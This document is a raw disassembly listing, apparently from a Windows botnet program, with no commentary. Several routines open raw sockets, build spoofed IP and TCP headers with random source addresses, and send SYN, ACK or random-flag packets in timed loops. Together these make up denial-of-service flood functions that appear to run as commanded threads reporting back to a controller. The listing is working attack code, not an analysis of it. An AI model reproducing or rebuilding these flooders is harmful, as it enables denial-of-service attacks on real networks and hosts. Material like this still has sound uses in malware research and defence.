		lea	eax, [ebp+Dest]
		push	offset asc_4358A8 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_41648B
		push	esi		; int
		push	[ebp+var_C]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_40123B
		add	esp, 14h


loc_41648B:				; CODE XREF: sub_41640E+5Bj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+var_10]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_41640E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=68h


sub_4164A9	proc near		; CODE XREF: sub_41677E+3Cp

var_288		= byte ptr -288h
Dest		= byte ptr -0F8h
var_B8		= dword	ptr -0B8h
var_B0		= byte ptr -0B0h
var_AF		= byte ptr -0AFh
var_9C		= byte ptr -9Ch
var_90		= byte ptr -90h
var_88		= byte ptr -88h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
Src		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= word ptr -62h
Dst		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-68h]
		sub	esp, 288h
		push	ebx
		push	edi
		push	0Eh
		pop	ecx
		xor	eax, eax
		xor	ebx, ebx
		mov	[ebp+68h+var_B0], bl
		lea	edi, [ebp+68h+var_AF]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+68h+var_288]
		push	eax
		push	202h
		call	dword_444110	; WSAStartup
		test	eax, eax
		jz	short loc_4164E5
		xor	eax, eax
		jmp	loc_416777
; ---------------------------------------------------------------------------


loc_4164E5:				; CODE XREF: sub_4164A9+33j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_444074	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+68h+var_4], eax
		jz	loc_41676F
		push	4
		lea	ecx, [ebp+68h+var_3C]
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+68h+var_3C], edi
		call	dword_444120	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_416766
		push	esi
		push	10h		; Size
		lea	eax, [ebp+68h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+68h+arg_8]
		mov	[ebp+68h+Dst], 2
		call	dword_444260	; htons
		mov	esi, [ebp+68h+arg_0]
		push	28h
		mov	[ebp+68h+var_4A], ax
		mov	[ebp+68h+var_48], esi
		mov	[ebp+68h+var_1C], 45h
		call	dword_444260	; htons
		push	[ebp+68h+arg_8]
		mov	[ebp+68h+var_1A], ax
		mov	[ebp+68h+var_18], di
		mov	[ebp+68h+var_16], bx
		mov	[ebp+68h+var_14], 80h
		mov	[ebp+68h+var_13], 6
		mov	[ebp+68h+var_12], bx
		mov	[ebp+68h+var_C], esi
		call	dword_444260	; htons
		push	4000h
		mov	[ebp+68h+var_2E], ax
		mov	[ebp+68h+var_28], ebx
		mov	[ebp+68h+var_24], 50h
		mov	[ebp+68h+var_23], 2
		call	dword_444260	; htons
		mov	[ebp+68h+var_22], ax
		lea	eax, [ebp+68h+var_74]
		push	eax
		mov	[ebp+68h+var_1E], bx
		mov	[ebp+68h+var_8], ebx
		call	ds:dword_42B0DC	; QueryPerformanceFrequency
		lea	eax, [ebp+68h+var_38]
		push	eax
		call	ds:dword_42B0D8	; QueryPerformanceCounter
		push	[ebp+68h+var_70]
		mov	eax, [ebp+68h+arg_C]
		push	[ebp+68h+var_74]
		cdq
		push	edx
		push	eax
		call	__allmul
		add	eax, [ebp+68h+var_38]
		mov	edi, edx
		adc	edi, [ebp+68h+var_34]
		mov	[ebp+68h+var_B8], eax
		mov	[ebp+68h+var_20], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_444260	; htons
		mov	[ebp+68h+var_30], ax
		call	_rand
		call	_rand
		push	eax
		call	dword_444260	; htons
		push	[ebp+68h+arg_4]
		movzx	eax, ax
		mov	[ebp+68h+var_2C], eax
		call	dword_444234	; htonl
		push	14h
		pop	esi
		jmp	short loc_41667F
; ---------------------------------------------------------------------------


loc_416617:				; CODE XREF: sub_4164A9+28Aj
		add	[ebp+68h+var_8], eax
		lea	eax, [ebp+68h+var_38]
		push	eax
		call	ds:dword_42B0D8	; QueryPerformanceCounter
		mov	eax, [ebp+68h+var_34]
		cmp	eax, edi
		jg	loc_416762
		jl	short loc_41663D
		mov	eax, [ebp+68h+var_38]
		cmp	eax, [ebp+68h+var_B8]
		jnb	loc_416762


loc_41663D:				; CODE XREF: sub_4164A9+186j
		mov	[ebp+68h+var_20], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_444260	; htons
		mov	[ebp+68h+var_30], ax
		call	_rand
		call	_rand
		push	eax
		call	dword_444260	; htons
		push	[ebp+68h+arg_4]
		movzx	eax, ax
		mov	[ebp+68h+var_2C], eax
		call	dword_444234	; htonl


loc_41667F:				; CODE XREF: sub_4164A9+16Cj
		inc	[ebp+68h+arg_4]
		mov	[ebp+68h+var_10], eax
		mov	eax, [ebp+68h+var_C]
		push	esi
		mov	[ebp+68h+var_68], eax
		mov	[ebp+68h+var_64], bl
		mov	[ebp+68h+var_63], 6
		call	dword_444260	; htons
		mov	[ebp+68h+var_62], ax
		mov	eax, [ebp+68h+var_10]
		mov	[ebp+68h+Src], eax
		lea	eax, [ebp+68h+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+68h+var_B0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+68h+var_30]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+68h+var_90]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+68h+var_B0]
		push	34h
		push	eax
		call	sub_402422
		mov	[ebp+68h+var_20], ax
		lea	eax, [ebp+68h+var_1C]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+68h+var_B0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+68h+var_30]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+68h+var_9C]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+68h+var_88]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+68h+var_B0]
		push	28h
		push	eax
		call	sub_402422
		mov	[ebp+68h+var_12], ax
		lea	eax, [ebp+68h+var_1C]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+68h+var_B0]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		push	10h
		lea	eax, [ebp+68h+Dst]
		push	eax
		push	ebx
		push	28h
		lea	eax, [ebp+68h+var_B0]
		push	eax
		push	[ebp+68h+var_4]
		call	dword_4440CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	loc_416617
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+68h+Dest]
		push	offset asc_4358D4 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+68h+Dest]
		push	eax
		call	sub_417D70
		add	esp, 10h
		jmp	short loc_416765
; ---------------------------------------------------------------------------


loc_416762:				; CODE XREF: sub_4164A9+180j
					; sub_4164A9+18Ej
		mov	ebx, [ebp+68h+var_8]


loc_416765:				; CODE XREF: sub_4164A9+2B7j
		pop	esi


loc_416766:				; CODE XREF: sub_4164A9+73j
		push	[ebp+68h+var_4]
		call	dword_444218	; closesocket


loc_41676F:				; CODE XREF: sub_4164A9+57j
		call	dword_444224	; WSACleanup
		mov	eax, ebx


loc_416777:				; CODE XREF: sub_4164A9+37j
		pop	edi
		pop	ebx
		add	ebp, 68h
		leave
		retn
sub_4164A9	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_41677E(int,char *Str,int)

sub_41677E	proc near		; CODE XREF: sub_4167D6+3Cp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_4022BD
		push	[esp+10h+Str]	; Str
		mov	esi, eax
		call	j__atol
		push	[esp+14h+arg_8]	; Str
		mov	ebx, eax
		call	j__atol
		mov	edi, eax
		call	_rand
		cdq
		mov	ecx, 200h
		idiv	ecx
		push	edi
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4164A9
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4167C7
		inc	eax


loc_4167C7:				; CODE XREF: sub_41677E+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41677E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167D6	proc near		; DATA XREF: sub_40274D+6140o

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_190		= byte ptr -190h
var_110		= dword	ptr -110h
Str		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 85h
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax		; int
		lea	eax, [ebp+var_190]
		push	eax		; Str
		lea	eax, [ebp+var_210]
		push	eax		; int
		call	sub_41677E
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4358F4 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_416853
		push	esi		; int
		push	[ebp+var_C]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_40123B
		add	esp, 14h


loc_416853:				; CODE XREF: sub_4167D6+5Bj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+var_10]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_4167D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_416871	proc near		; CODE XREF: sub_416A7E+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Src		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Dst		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 98h
		and	[ebp+70h+var_88], 0
		and	[ebp+70h+var_58], 0
		push	ebx
		push	esi
		push	edi
		push	4
		pop	esi
		xor	eax, eax
		xor	ecx, ecx
		inc	ecx
		push	6
		pop	edx
		mov	ebx, 0FFh
		mov	[ebp+70h+var_84], ecx
		mov	[ebp+70h+var_78], edx
		lea	edi, [ebp+70h+var_54]
		mov	[ebp+70h+var_80], 2
		mov	[ebp+70h+var_7C], esi
		mov	[ebp+70h+var_74], 8
		mov	[ebp+70h+var_70], 0Ch
		mov	[ebp+70h+var_6C], 11h
		mov	[ebp+70h+var_68], 16h
		mov	[ebp+70h+var_64], 29h
		mov	[ebp+70h+var_60], 3Ah
		mov	[ebp+70h+var_5C], ebx
		stosd
		mov	[ebp+70h+var_50], eax
		mov	[ebp+70h+var_4C], eax
		mov	[ebp+70h+var_48], eax
		mov	[ebp+70h+var_3C], edx
		mov	[ebp+70h+var_34], ecx
		mov	[ebp+70h+var_30], eax
		lea	edi, [ebp+70h+var_2C]
		mov	[ebp+70h+var_44], 2000h
		mov	[ebp+70h+var_40], esi
		mov	[ebp+70h+var_38], 3FFFh
		stosd
		mov	edi, 100h
		push	edi		; unsigned int
		mov	[ebp+70h+var_28], ecx
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		push	edi
		push	eax
		mov	[ebp+70h+var_4], eax
		call	dword_444220	; gethostname
		push	[ebp+70h+var_4]
		call	dword_444168	; gethostbyname
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		push	ebx
		push	3
		push	2
		mov	[ebp+70h+var_C], eax
		call	dword_444100	; socket
		push	esi
		lea	ecx, [ebp+70h+var_28]
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+70h+var_4], eax
		call	dword_444120	; setsockopt
		mov	esi, 200h
		push	esi		; Size
		call	_malloc
		mov	edi, ds:dword_42B038
		pop	ecx
		mov	[ebp+70h+Dst], eax
		call	edi	; GetTickCount
		mov	[ebp+70h+var_10], eax
		mov	eax, [ebp+70h+arg_0]
		push	29Ah
		mov	[ebp+70h+var_94], eax
		mov	[ebp+70h+var_98], 2
		call	dword_444260	; htons
		mov	[ebp+70h+var_96], ax
		jmp	loc_416A4A
; ---------------------------------------------------------------------------


loc_416984:				; CODE XREF: sub_416871+1EAj
		call	_rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+70h+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+70h+var_C], edx
		call	_rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+70h+var_54], edx
		call	_rand
		cdq
		mov	ecx, 1FA4h
		idiv	ecx
		mov	[ebp+70h+Src], 45h
		mov	[ebp+70h+var_23], 4
		mov	[ebp+70h+var_2C], edx
		call	_rand
		mov	[ebp+70h+var_20], ax
		call	_rand
		cdq
		push	0Ah
		pop	ecx
		idiv	ecx
		xor	eax, eax
		mov	ax, word ptr [ebp+edx*4+70h+var_50]
		push	eax
		call	dword_444260	; htons
		push	esi
		mov	[ebp+70h+var_1E], ax
		call	dword_444260	; htons
		mov	[ebp+70h+var_22], ax
		mov	[ebp+70h+var_1C], bl
		call	_rand
		cdq
		push	0Eh
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+70h+var_88]
		mov	[ebp+70h+var_1B], al
		mov	eax, [ebp+70h+var_C]
		mov	[ebp+70h+var_18], eax
		mov	eax, [ebp+70h+arg_0]
		mov	[ebp+70h+var_14], eax
		lea	eax, [ebp+70h+Src]
		push	eax
		call	sub_402422
		mov	[ebp+70h+var_1A], ax
		push	14h		; Size
		lea	eax, [ebp+70h+Src]
		push	eax		; Src
		push	[ebp+70h+Dst]	; Dst
		call	_memcpy
		add	esp, 14h
		push	10h
		lea	eax, [ebp+70h+var_98]
		push	eax
		push	0
		push	esi
		push	[ebp+70h+Dst]
		push	[ebp+70h+var_4]
		call	dword_4440CC	; sendto


loc_416A4A:				; CODE XREF: sub_416871+10Ej
		call	edi	; GetTickCount
		sub	eax, [ebp+70h+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+70h+arg_4]
		jbe	loc_416984
		push	[ebp+70h+Dst]	; Memory
		call	_free
		pop	ecx
		push	[ebp+70h+var_4]
		call	dword_444218	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		add	ebp, 70h
		leave
		retn
sub_416871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_416A7E	proc near		; DATA XREF: sub_40274D+6A89o

Dest		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
Str		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	j__atol
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_44417C	; inet_addr
		push	eax
		call	sub_416871
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_43591C ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 14h
		cmp	[ebp+var_8], esi
		jnz	short loc_416B00
		push	esi		; int
		push	[ebp+var_C]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+var_90]
		push	eax		; Str
		push	[ebp+var_194]	; int
		call	sub_40123B
		add	esp, 14h


loc_416B00:				; CODE XREF: sub_416A7E+60j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+var_10]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_416A7E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h


sub_416B1E	proc near		; DATA XREF: sub_40274D+512Eo

Dest		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
Str		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
Src		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
Dst		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 440h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+74h+var_240]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+19Ch], esi
		push	0Eh
		xor	eax, eax
		xor	ebx, ebx
		mov	[ebp+74h+var_A0], bl
		pop	ecx
		lea	edi, [ebp+74h+var_9F]
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_42B038
		call	edi	; GetTickCount
		push	eax
		call	sub_41ECD4
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_444100	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+var_4], eax
		jnz	short loc_416BA6
		call	dword_4441C4	; WSAGetLastError
		push	eax
		push	offset asc_435A38 ; "-"


loc_416B89:				; CODE XREF: sub_416B1E+ACj
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_416B98:				; CODE XREF: sub_416B1E+D3j
					; sub_416B1E+3EEj
		cmp	[ebp+74h+var_A8], ebx
		jnz	loc_416EBC
		jmp	loc_416E9C
; ---------------------------------------------------------------------------


loc_416BA6:				; CODE XREF: sub_416B1E+5Dj
		push	4
		lea	ecx, [ebp+74h+var_34]
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+74h+var_34], esi
		call	dword_444120	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416BCC
		call	dword_4441C4	; WSAGetLastError
		push	eax
		push	offset unk_435A00
		jmp	short loc_416B89
; ---------------------------------------------------------------------------


loc_416BCC:				; CODE XREF: sub_416B1E+9Ej
		lea	eax, [ebp+74h+var_23C]
		push	eax
		call	dword_44417C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416BF3
		lea	eax, [ebp+74h+Dest]
		push	offset asc_4359E0 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_416B98
; ---------------------------------------------------------------------------


loc_416BF3:				; CODE XREF: sub_416B1E+BEj
		push	10h		; Size
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	ebx
		mov	[ebp+74h+Dst], 2
		call	dword_444260	; htons
		mov	[ebp+74h+var_42], ax
		lea	eax, [ebp+74h+var_23C]
		push	eax
		call	dword_44417C	; inet_addr
		mov	[ebp+74h+var_40], eax
		mov	[ebp+74h+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+74h+var_30], eax
		jmp	loc_416E3D
; ---------------------------------------------------------------------------


loc_416C30:				; CODE XREF: sub_416B1E+330j
		push	28h
		mov	[ebp+74h+var_2C], 45h
		call	dword_444260	; htons
		cmp	[ebp+74h+var_B0], ebx
		mov	[ebp+74h+var_2A], ax
		mov	[ebp+74h+var_28], si
		mov	[ebp+74h+var_26], bx
		mov	[ebp+74h+var_24], 80h
		mov	[ebp+74h+var_23], 6
		mov	[ebp+74h+var_22], bx
		jz	short loc_416C86
		call	_rand
		mov	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		mov	[ebp+74h+var_20], esi
		xor	esi, esi
		inc	esi
		jmp	short loc_416C9C
; ---------------------------------------------------------------------------


loc_416C86:				; CODE XREF: sub_416B1E+139j
		push	[ebp+74h+var_240]
		call	sub_4023C9
		pop	ecx
		push	eax
		call	dword_44417C	; inet_addr
		mov	[ebp+74h+var_20], eax


loc_416C9C:				; CODE XREF: sub_416B1E+166j
		cmp	[ebp+74h+var_B8], ebx
		mov	eax, [ebp+74h+var_40]
		mov	[ebp+74h+var_1C], eax
		jnz	short loc_416CB7
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_416CBA
; ---------------------------------------------------------------------------


loc_416CB7:				; CODE XREF: sub_416B1E+187j
		push	[ebp+74h+var_B8]


loc_416CBA:				; CODE XREF: sub_416B1E+197j
		call	dword_444260	; htons
		mov	[ebp+74h+var_16], ax
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_444260	; htons
		push	12345678h
		mov	[ebp+74h+var_18], ax
		call	dword_444234	; htonl
		mov	[ebp+74h+var_14], eax
		lea	eax, [ebp+74h+Str]
		push	offset aSyn	; "syn"
		push	eax		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_416D0A
		mov	[ebp+74h+var_10], ebx
		mov	[ebp+74h+var_B], 2
		jmp	short loc_416D66
; ---------------------------------------------------------------------------


loc_416D0A:				; CODE XREF: sub_416B1E+1E1j
		lea	eax, [ebp+74h+Str]
		push	offset aAck	; "ack"
		push	eax		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_416D2A
		mov	[ebp+74h+var_10], ebx
		mov	[ebp+74h+var_B], 10h
		jmp	short loc_416D66
; ---------------------------------------------------------------------------


loc_416D2A:				; CODE XREF: sub_416B1E+201j
		lea	eax, [ebp+74h+Str]
		push	offset aRandom_0 ; "random"
		push	eax		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_416D66
		call	_rand
		cdq
		push	3
		pop	ecx
		idiv	ecx
		mov	[ebp+74h+var_10], edx
		call	_rand
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+74h+var_B], dl


loc_416D66:				; CODE XREF: sub_416B1E+1EAj
					; sub_416B1E+20Aj ...
		push	200h
		mov	[ebp+74h+var_C], 50h
		call	dword_444260	; htons
		mov	[ebp+74h+var_A], ax
		mov	eax, [ebp+74h+var_20]
		mov	[ebp+74h+Src], eax
		mov	eax, [ebp+74h+var_1C]
		push	14h
		mov	[ebp+74h+var_6], bx
		mov	[ebp+74h+var_8], bx
		mov	[ebp+74h+var_60], eax
		mov	[ebp+74h+var_5C], bl
		mov	[ebp+74h+var_5B], 6
		call	dword_444260	; htons
		mov	[ebp+74h+var_5A], ax
		push	20h		; Size
		lea	eax, [ebp+74h+Src]
		push	eax		; Src
		lea	eax, [ebp+74h+var_A0]
		push	eax		; Dst
		call	_memcpy
		push	14h		; Size
		lea	eax, [ebp+74h+var_18]
		push	eax		; Src
		lea	eax, [ebp+74h+var_80]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+74h+var_A0]
		push	34h
		push	eax
		call	sub_402422
		mov	[ebp+74h+var_8], ax
		push	14h		; Size
		lea	eax, [ebp+74h+var_2C]
		push	eax		; Src
		lea	eax, [ebp+74h+var_A0]
		push	eax		; Dst
		call	_memcpy
		push	14h		; Size
		lea	eax, [ebp+74h+var_18]
		push	eax		; Src
		lea	eax, [ebp+74h+var_8C]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+74h+var_78]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+74h+var_A0]
		push	28h
		push	eax
		call	sub_402422
		mov	[ebp+74h+var_22], ax
		push	14h		; Size
		lea	eax, [ebp+74h+var_2C]
		push	eax		; Src
		lea	eax, [ebp+74h+var_A0]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		push	10h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	ebx
		push	3Ch
		lea	eax, [ebp+74h+var_A0]
		push	eax
		push	[ebp+74h+var_4]
		call	dword_4440CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_416ED9
		inc	[ebp+74h+arg_0]


loc_416E3D:				; CODE XREF: sub_416B1E+10Dj
		call	edi	; GetTickCount
		sub	eax, [ebp+74h+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+74h+var_B4]
		jbe	loc_416C30
		push	[ebp+74h+var_4]
		call	dword_444218	; closesocket
		mov	eax, [ebp+74h+arg_0]
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		xor	edx, edx
		div	[ebp+74h+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_23C]
		push	eax
		lea	eax, [ebp+74h+Str]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_435990 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+74h+var_A8], ebx
		jnz	short loc_416EBC


loc_416E9C:				; CODE XREF: sub_416B1E+83j
		push	ebx		; int
		push	[ebp+74h+var_AC] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_13C]
		push	eax		; Str
		push	[ebp+74h+var_240] ; int
		call	sub_40123B
		add	esp, 14h


